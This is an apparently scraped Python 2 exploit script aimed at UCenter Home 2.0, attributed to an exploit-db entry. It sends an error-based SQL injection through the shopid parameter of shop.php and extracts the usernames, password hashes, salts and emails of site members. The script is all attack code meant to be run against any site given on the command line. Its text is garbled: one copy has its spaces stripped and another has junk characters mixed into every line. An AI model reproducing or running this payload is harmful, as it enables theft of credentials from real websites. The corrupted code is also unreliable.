#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl% h' n8 Y+ H Z! E0 J
; p( @8 V( Z* Q4 f- P: h3 e+ z
\4 K: c/ w% H. Q9 B#!/usr/bin/env python
3 g; f) `6 P" B ; D( b) u- Q; Z
import sys # {9 Z" ]. A K8 F# C" D
import urllib2
q" q: O4 u% Aimport re
" L4 ?! z; c% {. p
# v+ e4 G9 u) ]& _, J5 kdef info(): : I* | B7 s; l0 a3 e h
print 'From:http://www.exploit-db.com/exploits/14997/'
S4 l; H( T. Y) ? print 'http://www.hake.cc/Web_loudong/'
1 _/ N: n6 S2 K5 H print 'changed:qiaoy' 4 L# g: H9 {3 m0 R9 g9 q
print 'exp:'
@9 c1 T' t, _) C, {( m. T/ ? c print ' ./UCenter_Home_2.0.py site'
" L/ O$ C; M/ z/ l
; R4 V2 J: g3 }& e$ bdef main(): 3 S- w1 _6 \4 A+ o) x
if len(sys.argv) != 2: 2 K! K' j3 G4 g! Q% W
info()
5 w, F$ U- Y- k7 h) B else: 3 p$ w( g, f$ b" P* H* g+ M
site = sys.argv[1]
# ?9 U! P8 @$ p! X# A" g if site[0:7] == 'http://':
9 J' Q( }8 E, p* y8 a# y sitesite =site
/ c: ]" N/ s, c q elif site[0:8] == 'https://': 5 k5 v2 y6 O+ s M- D" g
sitesite = site ; p* k7 d# y5 o$ a9 H
else: 6 R; A7 h+ ?3 ]+ M( o5 z
site = 'http://'+site : Y) D" [0 j0 _ _/ ~; m9 w7 J
try: , L0 U2 x" f" S. |. C6 o# }
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
% [4 a' D0 W, I/ z Value = urllib2.urlopen(url).read() 3 F& M* S7 a; Y- D
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
, w( J Q/ A8 I2 N H g hacked = Msg.split(':')
( H* ?+ _+ Z) d6 Z+ I6 I print 'Name: '+hacked[1] : i3 d3 \3 d9 o- J7 C5 ?
print 'Passwd: '+hacked[2]
4 T5 L7 H* \$ ?, }4 M M. C print 'salt: '+hacked[3] " F. Q5 J0 O* l" Y' Z0 |1 s
print 'email: '+hacked[4] ' A' a1 J8 S; w d8 S
except: / G6 l) S+ c9 i3 A5 B& X
print 'Sorry,I can\'t work............'
% `+ b" ~4 h' G( b# p8 U
7 W3 _3 B5 g' y! Oif __name__ == '__main__': ' ]. L$ m. p# p; a1 h( U6 O/ `
main() |